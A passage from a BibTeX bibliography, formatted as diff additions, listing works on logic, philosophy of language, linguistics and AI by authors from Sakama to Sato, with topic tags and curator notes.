Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {170--182}, + address = {Berlin}, + topic = {logic-program-synthesis;} + } + +@article{ sakama-inoue:2000a, + author = {Chiaki Sakama and Katsumi Inoue}, + title = {Prioritized Logic Programming and Its Application to + Commonsense Reasoning}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {185--222}, + topic = {prioritized-logic-programming;common-sense-reasoning;} + } + +@incollection{ sakas:2000a, + author = {William Gregory Sakas}, + title = {Modeling the Effect of Cross-Language + Ambiguity on Human Syntax Acquisition}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {61--66}, + address = {Somerset, New Jersey}, + topic = {cognitive-modeling;L1-acquisition;} + } + +@article{ sakezles:2001a, + author = {Priscilla K. Sakezles}, + title = {Review of {\it Against the Grammarians}, by {S}extus + {E}mpiricus}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {3}, + pages = {449--450}, + xref = {Review of: empiricus:1998a.}, + topic = {Hellenistic-philosophy;skepticism;philosophy-of-linguistics;} + } + +@book{ salkie:1995a, + author = {Raphael Salkie}, + title = {Text and Discourse Analysis}, + publisher = {Routledge}, + year = {1995}, + address = {London}, + topic = {discourse-analysis;pragmatics;} + } + +@article{ salkoff:1983a, + author = {M. Salkoff}, + title = {Bees Are Swarming in the Garden}, + journal = {Language}, + year = {1983}, + volume = {59}, + number = {2}, + pages = {288--346}, + missinginfo = {A's 1st name.}, + topic = {transitivity-alternations;} + } + +@book{ salmon_n:1982a, + author = {Nathan Salmon}, + title = {Direct Reference}, + publisher = {Princeton University Press}, + year = {1982}, + address = {Princeton, New Jersey}, + topic = {reference;proper-names;philosophy-of-language;} + } + +@book{ salmon_n:1986a, + editor = {Nathan Salmon}, + title = {Frege's Puzzle}, + publisher = {The {MIT} Press}, + year = {1986}, + address = {Cambridge, Massachusetts}, + topic = {propositional-attitudes;philosophy-of-language; + intensionality;} + } + +@book{ salmon_n-soames:1988a, + editor = {Nathan Salmon and Scott Soames}, + title = {Propositions and Attitudes}, + publisher = {Oxford University Press}, + year = {1988}, + address = {Oxford}, + topic = {propositional-attitudes;} + } + +@incollection{ salmon_n:1989a, + author = {Nathan Salmon}, + title = {Illogical Belief}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {243--285}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {belief;proposiitional-attitudes;hyperintensionality;} + } + +@article{ salmon_n:1991a, + author = {Nathan Salmon}, + title = {The Pragmatic Fallacy}, + journal = {Philosophical Studies}, + year = {1991}, + volume = {63}, + number = {1}, + pages = {83--97}, + topic = {definite-descriptions;pragmatics;speaker-meaning;} + } + +@article{ salmon_n:1992a, + author = {Nathan Salmon}, + title = {Reflections on Reflexivity}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {1}, + pages = {53--63}, + topic = {reflexive-constructions;anaphora;} + } + +@article{ salmon_n:1993a, + author = {Nathan Salmon}, + title = {This Side of Paradox}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {2}, + pages = {187--197}, + topic = {individuation;vagueness;} + } + +@incollection{ salmon_n:1993b, + author = {Nathan Salmon}, + title = {Analyticity and Apriority}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {125--133}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {analyticity;a-priori;} + } + +@incollection{ salmon_n:1997a, + author = {Nathan Salmon}, + title = {Wholes, Parts, and Numbers}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {1--25}, + address = {Oxford}, + contentnote = {Considers the meaning of fractional quantifiers. An + interesting problem in nl-metaphysics and CSR.}, + topic = {nl-quantifiers;nl-metaphysics;common-sense-reasoning;} + } + +@article{ salmon_n:1998a, + author = {Nathan Salmon}, + title = {Nonexistence}, + journal = {No\^us}, + year = {1998}, + volume = {32}, + number = {3}, + pages = {277--319}, + topic = {reference-gaps;(non)existence;} + } + +@article{ salmon_wc:1957a, + author = {Wesley Salmon}, + title = {Should We Attempt to Justify Induction?}, + journal = {Philosophical Studies}, + year = {1957}, + volume = {8}, + number = {3}, + pages = {33--48}, + topic = {induction;philosophy-of-science;} + } + +@article{ sambin-valentini:1980a, + author = {Giovanni Sambin and Silvio Valentini}, + title = {A Modal Sequent Calculus for a Fragment of Arithmetic}, + journal = {Studia Logica}, + year = {1980}, + volume = {39}, + number = {2/3}, + pages = {245--256}, + topic = {proof-theory;formalizations-of-arithmetic;} + } + +@article{ sambin-valentini:1982a, + author = {Giovanni Sambin and Silvio Valentini}, + title = {The Modal Logic of Provability: The Sequential Approach}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {3}, + pages = {311--342}, + topic = {provability-logic;} + } + +@article{ sambin-etal:2000a, + author = {Giovanni Sambin and Giulia Battilotti and Claudio Faggian}, + title = {Basic Logic: Reflection, Symmetry, Visibility}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {3}, + pages = {979--1013}, + topic = {proof-theory;substructural-logics;linear-logic;} + } + +@inproceedings{ samet_d:1998a, + author = {Dov Samet}, + title = {Quantified Beliefs and Believed Quantities}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {263--272}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {foundations-of-probability;measurement-theory; + higher-order-probability;} + } + +@article{ samet_j-schank:1984a, + author = {Jerry Samet and Roger Schank}, + title = {Coherence and Connectivity}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {1}, + pages = {57--82}, + topic = {discourse-coherence;pragmatics;} + } + +@incollection{ samet_j:1986a, + author = {Jerry Samet}, + title = {Troubles with {F}odor's Nativism}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {575--594}, + address = {Minneapolis}, + topic = {innate-ideas;} + } + +@article{ sampson:1979a, + author = {Geoffrey Sampson}, + title = {A Non-Nativist Account of Language Universals}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {1}, + pages = {99--104}, + topic = {foundations-of-syntax;foundations-of-universal-grammar; + language-universals;} + } + +@book{ sampson:1980a, + author = {Geoffrey Sampson}, + title = {Making Sense}, + publisher = {Oxford University Press}, + year = {1980}, + address = {Oxford}, + xref = {Review: abbott_b-hudson_g:1981a,}, + topic = {foundations-of-semantics;foundations-of-linguistics; + language-universals;} + } + +@book{ sampson:1985a, + author = {Geoffrey Sampson}, + title = {Writing Systems : A Linguistic Introduction}, + publisher = {Hutchinson}, + year = {1985}, + address = {London}, + ISBN = {009156980X}, + topic = {writing-systems;} + } + +@book{ sampson:1995a, + author = {Geoffrey Sampson}, + title = {English for the Computer: The {SUSANNE} Corpus + and Analytic Scheme}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + ISBN = {0198240236}, + topic = {corpus;English-language;} + } + +@article{ sampson_g:1976a, + author = {Geoffrey Sampson}, + title = {An Empirical Hypothesis about Natural Semantics}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {2}, + pages = {209--236}, + topic = {philosophy-of-linguistics;philosophy-of-logic;} + } + +@book{ sampson_g:1981a, + author = {Geoffrey Sampson}, + title = {Making Sense}, + publisher = {Oxford University Press}, + year = {1981}, + address = {Oxford}, + xref = {Review: hudson_g:1981a.}, + topic = {foundations-of-semantics;philosophy-of-linguistics;} + } + +@book{ sampson_g:1985a, + author = {Geoffrey Sampson}, + title = {Writing Systems: A Linguistic Introduction}, + publisher = {Stanford University Press}, + address = {Stanford, California}, + year = {1985}, + topic = {writing-systems;} + } + +@article{ sampson_g:1992a, + author = {Geoffrey Sampson}, + title = {Book Review: The Linguistics of Punctuation}, + journal = {Linguistics}, + year = {1992}, + volume = {30}, + number = {2}, + pages = {467--475}, + topic = {punctuation;} + } + +@article{ sampson_g:1998a, + author = {Geoffrey Sampson}, + title = {Review of {\it From Grammar to Science: New Foundations + for General Linguistics}, by {V}ictor {I}ngve}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {173--175}, + xref = {Review of ingve:1996a.}, + topic = {empirical-methods-in-cogsci;foundations-of-linguistics; + philosophy-of-linguistics;} + } + +@incollection{ samuelson_c:1998a, + author = {Christer Samuelson}, + title = {Linguistic Theory in Statistical Language Learning}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {83--89}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;language-learning; + word-sequence-probabilities;machine-learning;n-gram-models;} + } + +@inproceedings{ samuelson_l:1988a, + author = {Larry Samuelson}, + title = {Evolutionary Foundations of Solution Concepts for Finite, + Two-Player, Normal-Form Games}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {211--225}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {game-theory;strategy-selection;} + } + +@inproceedings{ samuelsson-voutilainen:1997a, + author = {Christer Samuelsson and Atro Voutilainen}, + title = {Comparing a Linguistic and a Stochastic Tagger}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {246--253}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {part-of-speech-tagging;} + } + +@book{ sandeen:1970a, + author = {Ernest R. Sandeen}, + title = {The Roots of Fundamentalism: {B}ritish and {A}merican + Millenarianism 1800--1930}, + year = {1970}, + address = {Chicago}, + missinginfo = {publisher}, + topic = {fundamentalism;} + } + +@article{ sandeen:1970b, + author = {Ernest R. Sandeen}, + title = {Fundamentalism and {A}merican Identity}, + journal = {The Annals of the {A}merican {A}cademy of {P}olitical and + {S}ocial {S}cience}, + year = {1970}, + volume = {387}, + pages = {56--65}, + missinginfo = {volume is 387???, number}, + topic = {fundamentalism;} + } + +@incollection{ sanders:1974a, + author = {Gerald A. Sanders}, + title = {Introduction: Issues of Explanation in Linguistics}, + booktitle = {Explaining Linguistic Phenomena}, + publisher = {Hemisphere Publishing Corp.}, + year = {1974}, + editor = {David Cohen}, + pages = {1--41}, + address = {Washington, DC}, + topic = {philosophy-of-linguistics;linguistics-methodology; + explanation;} + } + +@incollection{ sanders:1983a, + author = {Robert E. Sanders}, + title = {Tools for Cohering Discourse and Their Strategic Utilization: + Markers of Structural Connections and Meaning Relations}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {67--80}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;discourse-structure; + discourse-cue-words;pragmatics;} + } + +@article{ sanderson:2000a, + author = {Mark Sanderson}, + title = {Review of {\it Advances in Automatic Text Summarization}, + by {I}nderjeet {M}ani and {M}ark {T}. {M}aybury}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {280--281}, + xref = {Review of: mani-maybury:1999a.}, + topic = {text-summary;} + } + +@article{ sandewall:1970a, + author = {Erik Sandewall}, + title = {Formal Methods in the Design of Question-Answering + Systems}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {2}, + number = {2}, + pages = {129--145}, + topic = {question-answering;} + } + +@incollection{ sandewall:1972a, + author = {Erik Sandewall}, + title = {An Approach to the Frame Problem, and Its Implementation}, + booktitle = {Machine Intelligence 7}, + publisher = {Edinburgh University Press}, + year = {1972}, + editor = {Donald Michie and Bernard Meltzer}, + pages = {195--204}, + missinginfo = {E's 1st name}, + topic = {nonmonotonic-reasoning;frame-problem;} + } + +@inproceedings{ sandewall:1985a1, + author = {Erik Sandewall}, + title = {A Functional Approach to Non-Monotonic Logic}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {100--106}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + xref = {Journal Publication: sandewall:1985a2.}, + topic = {nonmonotonic-logic;} + } + +@article{ sandewall:1985a2, + author = {Erik Sandewall}, + title = {A Functional Approach to Non-Monotonic Logic}, + journal = {Computational Intelligence}, + year = {1985}, + volume = {1}, + pages = {80--87}, + xref = {Conference Publication: sandewall:1985a1.}, + topic = {nonmonotonic-logic;} + } + +@article{ sandewall:1986a, + author = {Erik Sandewall}, + title = {Non-Monotonic Inference Rules for Multiple Inheritance + With Exceptions}, + journal = {Proceedings of the {IEEE}}, + year = {1986}, + volume = {74}, + pages = {1345--1353}, + missinginfo = {number}, + topic = {inheritance-theory;} + } + +@inproceedings{ sandewall-ronnquist:1986a, + author = {Erik Sandewall and E. R\"onnquist}, + title = {A Representation of Action Structures}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + pages = {89--97}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {editors, checkpub}, + topic = {action;} + } + +@inproceedings{ sandewall:1987a, + author = {Eric Sandewall}, + title = {The Semantics of Non-Monotonic Entailment Defined + Using Partial Interpretations}, + booktitle = {Second International Workshop on Non-Monotonic Reasoning}, + year = {1987}, + editor = {Michael Reinfrank and Johan de Kleer and Eric Sandewall}, + publisher = {Springer Verlag}, + address = {Berlin}, + missinginfo = {pages}, + topic = {nonmonotonic-logic;partial-logic;} + } + +@unpublished{ sandewall:1988a, + author = {Erik Sandewall}, + title = {An Approach to Non-Monotonic Entailment}, + year = {1988}, + note = {Unpublished manuscript, Link\"oping Presentation}, + topic = {nonmonotonic-logic;} + } + +@unpublished{ sandewall:1988b, + author = {Eric Sandewall}, + title = {The Semantics of Non-Monotonic Entailment Defined + Using Partial Interpretations}, + year = {1988}, + note = {Unpublished manuscript, Link\"oping University.}, + topic = {inheritance-theory;nonmonotonic-logic;} + } + +@inproceedings{ sandewall:1989a, + author = {Erik Sandewall}, + title = {Filter Preferential Entailment for the Logic of Action in + Almost Continuous Worlds}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {pages}, + contentnote = {Introduces occlusion.}, + topic = {causality;action-effects;action-formalisms;dynamic-systems; + reasoning-about-continuous-time;continuous-change;} + } + +@incollection{ sandewall:1989b, + author = {Erik Sandewall}, + title = {Combining Logic and Differential Equations for Describing + Real-World Systems}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {412--420}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-reasoning;temporal-reasoning; + reasoning-about-physical-systems;kr-course;} + } + +@article{ sandewall:1991a, + author = {Erik Sandewall}, + title = {Towards a Logic of Dynamic Frames}, + journal = {International Journal of Expert Systems}, + year = {1991}, + volume = {3}, + number = {4}, + pages = {355--370}, + contentnote = {An approach to frame-based temporal reasoning.}, + topic = {kr;temporal-reasoning;dynamic-systems;frames;kr-course;} + } + +@inproceedings{ sandewall:1993a, + author = {Erik Sandewall}, + title = {The Range of Applicability of Nonmonotonic Logics for the + Inertia Problem}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {738--743}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {nonmonotonic-logic;frame-problem;} + } + +@book{ sandewall:1994a, + author = {Erik Sandewall}, + title = {Features and Fluents: A Systematic Approach to the + Representation of Knowledge about Dynamical Systems}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + topic = {temporal-reasoning;dynamic-systems;causality;action-effects; + action-formalisms;qualitative-physics;} + } + +@unpublished{ sandewall:1996a1, + author = {Erik Sandewall}, + title = {Assessments of Ramification Methods that Use + Static Domain Constraints}, + year = {1996}, + note = {http://www.ep.liu.se/ea/cis/1996/003.}, + xref = {Conference publication: sandewall:1996a2.}, + topic = {kr;ramification-problem;causality;kr-course;} + } + +@incollection{ sandewall:1996a2, + author = {Erik Sandewall}, + title = {Comparative Assessments of Ramification Methods that Use + Static Domain Constraints}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {99--110}, + address = {San Francisco, California}, + topic = {kr;ramification-problem;causality;kr-course;} + } + +@incollection{ sandewall:1997a, + author = {Erik Sandewall}, + title = {Underlying Semantics for Action and Change + with Ramification}, + booktitle = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Oliviero Stock}, + pages = {289--318 } , + address = {Dordrecht}, + topic = {action-formalisms;temporal-reasoning;ramification-problem;} + } + +@incollection{ sandewall:1998a, + author = {Erik Sandewall}, + title = {Logic Based Modelling of Goal-Directed Behavior}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {304--315}, + address = {San Francisco, California}, + topic = {kr;practical-reasoning;action-formalisms;kr-course;} + } + +@article{ sandewall:1998b, + author = {Erik Sandewall}, + title = {Cognitive Robotics Logic and Its Metatheory: Features + and Fluents Revisited}, + journal = {Electronic Transactions on Artificial Intelligence}, + year = {1998}, + volume = {2}, + pages = {307--329}, + missinginfo = {URL}, + topic = {temporal-reasoning;dynamic-systems;causality;action-effects; + action-formalisms;qualitative-physics;} + } + +@incollection{ sandewall:2000a, + author = {Erik Sandewall}, + title = {On the Methodology of Research in Knowledge + Representation and Common-Sense Reasoning}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + address = {Dordrecht}, + note = {Forthcoming.}, + topic = {logic-in-AI;logic-in-AI-survey;common-sense-logicism; + common-sense-reasoning;} + } + +@article{ sandewall:2000b, + author = {Erik Sandewall}, + title = {Review of {\it Solving the Frame Problem}, by + {M}urray {S}hanahan}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {271--273}, + xref = {Review of: shanahan:1997a. Response: shanahan:2000a.}, + topic = {kr;temporal-reasoning;frame-problem;krcourse;} + } + +@article{ sandholm-lesser:1997a, + author = {Tuomas W. Sandholm and Victor R. Lesser}, + title = {Coalitions Among Computationally Bounded Agents}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {94}, + number = {1--2}, + pages = {99--137}, + topic = {distributed-ai;distributed-systems;negotiation; + resource-limited-reasoning;limited-rationality; + artificial-societies;} + } + +@article{ sandholm-etal:1999a, + author = {Tuomas Sandholm and Kate Larson and Martin + Andersson and Onn Shehory and Fernando Tohm\'e}, + title = {Coalition Structure Generation with Worst Case Guarantees}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {111}, + number = {1--2}, + pages = {209--238}, + topic = {cooperation;multi-agent-systems;artificial-societies;} + } + +@article{ sandholm:2002a, + author = {Tuomas Sandholm}, + title = {Algorithm for Optimal Winner Determination in Combinatorial + Auctions}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {135}, + number = {1--2}, + pages = {1--54}, + topic = {multiagent-systems;computational-bargaining;auction-protocols;} + } + +@article{ sandholm-lesser:2002a, + author = {Tuomas Sandholm and Victor Lesser}, + title = {Leveled-Commitment Contracting: A Backtracking Instrument + for Multiagent Systems}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {23}, + number = {3}, + pages = {89--100}, + topic = {multiagent-systems;} + } + +@article{ sandu:1993a, + author = {Gabriel Sandu}, + title = {On the Logic of Informational Independence and Its + Applications}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {1}, + pages = {29--60}, + topic = {game-theoretic-semantics;epistemic-logic;} + } + +@article{ sandu:1997a, + author = {Gabriel Sandu}, + title = {On the Theory of Anaphora: Dynamic Predicate Logic vs. + Game-Theoretical Semantics}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {2}, + pages = {147--174}, + topic = {anaphora;dynamic-semantics;} + } + +@article{ sandu:1998a, + author = {Gabriel Sandu}, + title = {Partially Interpreted Relations and Partially + Interpreted Quantifiers}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {6}, + pages = {587--601}, + topic = {partial-logic;quantifiers;} + } + +@article{ sandu-hintikka:2001a, + author = {Gabriel Sandu and Jaakko Hintikka}, + title = {Aspects of Compositionality}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {1}, + pages = {49--61}, + topic = {compositionality;game-theoretic-semantics;} + } + +@incollection{ sanfilippo:1993a, + author = {Antonio Sanfilippo}, + title = {{LKB} Encoding of Lexical Knowledge}, + booktitle = {Inheritance, Defaults, and the Lexicon}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Ted Briscoe and Ann Copestake and Valeria de Paiva}, + address = {Cambridge, England}, + missinginfo = {pages}, + topic = {computational-lexicography;} + } + +@incollection{ sanfilippo:1997a, + author = {Antonio Sanfilippo}, + title = {Using Semantic Similarity to Acquire + Co-Occurrence Restrictions from Corpora}, + booktitle = {Automatic Information Extraction and Building of + Lexical Semantic Resources for {NLP} Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Piek Vossen and Geert Adriaens and Nicoletta Calzolari + and Antonio Sanfilippo amd Yorick Wilks}, + pages = {82--89}, + address = {New Brunswick, New Jersey}, + topic = {coocurrence-restrictions;corpus-linguistics;} + } + +@article{ sanford:1959a, + author = {David H. Sanford}, + title = {Disjunctive Predicates}, + journal = {American Philosophical Quarterly}, + year = {1959}, + volume = {7}, + number = {2}, + pages = {162--170}, + topic = {disjunctive-properties;} + } + +@unpublished{ sanford:1974a, + author = {David H. Sanford}, + title = {Borderline Logic}, + year = {1974}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {vagueness;multi-valued-logic;} + } + +@article{ sanford:1974b, + author = {David H. Sanford}, + title = {Classical Logic and Inexact Predicates}, + journal = {Mind}, + year = {1974}, + volume = {83}, + number = {329}, + pages = {112--113}, + topic = {vagueness;} + } + +@article{ sanford:1976a, + author = {David Sanford}, + title = {Competing Semantics of Vagueness: Many Values vs. + Super-Truth}, + journal = {Synt\`hese}, + year = {1976}, + volume = {33}, + pages = {195--210}, + topic = {vagueness;} + } + +@article{ sanford:1979a, + author = {David H. Sanford}, + title = {Nostalgia for the Ordinary: Comments on Papers by {U}nger + and {W}heeler}, + journal = {Synth\'ese}, + year = {1979}, + volume = {41}, + pages = {171--184}, + missinginfo = {number}, + topic = {skepticism;epistemology;vagueness;} + } + +@incollection{ sanford:1984a, + author = {David H. Sanford}, + title = {The Direction of Causation and the Direction of Time}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {53--75}, + address = {Minneapolis}, + topic = {causality;temporal-direction;} + } + +@book{ sanford:1989a, + author = {David H. Sanford}, + title = {If $P$ then $Q$: Conditionals and the Foundations + of Reasoning}, + publisher = {Routledge}, + year = {1989}, + address = {London}, + xref = {Reviewed in bochman:1998a}, + topic = {conditionals;} + } + +@book{ sanford:1992a, + author = {David Sanford}, + title = {If {P} then {Q}}, + publisher = {Routledge}, + year = {1992}, + address = {London}, + topic = {conditionals;} + } + +@incollection{ sang:2000a, + author = {Erik Tjong Kim Sang}, + title = {Text Chunking by System Combination}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {151--153}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;text-chunking;} + } + +@incollection{ sang-buchholz:2000a, + author = {Erik Tjong Kim Sang and Sabine Buchholz}, + title = {Introduction to the {CoNLL-200} Shared Task: Chunking}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {127--132}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;text-chunking;} + } + +@inproceedings{ sankoff:1998a, + author = {David Sankoff}, + title = {The Production of Code-Mixed Discourse}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {8--21}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {code-switching;} + } + +@article{ santas:1964a, + author = {Gerasimos Santas}, + title = {The {S}ocratic Paradoxes}, + journal = {Philosophical Review}, + year = {1964}, + volume = {73}, + number = {73}, + pages = {147--164}, + topic = {ancient-philosophy;Plato;} + } + +@unpublished{ santini:1971a, + author = {Ugo Santini}, + title = {Some Extensions of {C}ooper Grammar}, + year = {1971}, + note = {Unpublished manuscript, Universit\'a degli Studi + di Genova.}, + topic = {Montague-grammar;} + } + +@book{ santorini:1990a, + author = {Beatrice Santorini}, + title = {Part-of-Speech Tagging Guidelines for the {P}enn Treebank + Project}, + publisher = {University of Pennsylvania, School of Engineering + and Applied Science, Dept. of Computer and Information Science, [}, + year = {1990}, + address = {Philadelphia}, + ISBN = {0582291496}, + topic = {corpus-annotation;} + } + +@article{ santos_e-santos_es:1996a, + author = {Eugene {Santos, Jr.} and Eugene S. Santos}, + title = {Polynomial Solvability of Cost-Based Abduction}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {1}, + pages = {157--170}, + topic = {abduction;complexity-in-AI;kr-complexity-analysis; + polynomial-algorithms;} + } + +@article{ sapire:1991a, + author = {David Sapire}, + title = {General Causation}, + journal = {Synth\'ese}, + year = {1991}, + volume = {86}, + number = {3}, + pages = {321--347}, + topic = {causality;(in)determinism;} + } + +@book{ saraswat-ueda:1991a, + editor = {Vijay Saraswat and Kazunori Ueda}, + title = {Logic Programming: Proceedings of the 1991 International + Symposium}, + publisher = {The {MIT} Press}, + year = {1991}, + address = {Cambridge, Massachusetts}, + ISBN = {0262691477}, + topic = {logic-programming;} + } + +@book{ saraswat-vanhentenryk:1995a, + editor = {Vijay Saraswat and Pascal {van Hentenryk}}, + title = {Principles and Practice of Constraint Programming}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {constraint-programming;} + } + +@article{ sarkar-etal:1991a, + author = {U.K. Sarkar and P.P. Chakrabarti and S. Ghose and S.C. De + Sarkar}, + title = {Reducing Reexpansions in Iterative-Deepening Search by + Controlling Cutoff Bounds}, + journal = {Artificial Intelligence}, + year = {2991}, + volume = {50}, + number = {2}, + pages = {207--221}, + topic = {search;} + } + +@book{ sartre:1946a, + author = {Jean Paul Sartre}, + title = {L'Existentialisme est un Humanisme}, + publisher = {Nagel}, + year = {1946}, + note = {Translated as ``Existentialism is a Humanism'' in {\em + Existentialism from Dostoevsky to Sartre}, W. Kaufmann (ed.), + Meridian Press, 1975}, + topic = {existentialism;} + } + +@incollection{ sato:1991a, + author = {Masahiko Sato}, + title = {An Abstraction Mechanism for Symbolic Expressions}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {381--391}, + address = {San Diego}, + topic = {variable-binding;} + } + +@article{ sato:1995a, + author = {Satoshi Sato}, + title = {{MBT2}: A Method for Combining Fragments of Examples in + Example-Based Translation}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {1}, + pages = {31--50}, + acontentnote = {Abstract: + Example-Based Translation is a new approach to machine + translation. The basic idea of this approach is very simple: it + is to translate a sentence by using translation examples of + similar sentences. One of the major issues of Example-Based + Translation is to study the utilization of more than one + translation example when translating one source sentence. + This paper proposes MBT2, which is a method of translating + complete sentences by using multiple examples. The + representation, matching expression, is introduced, which + represents the combination of 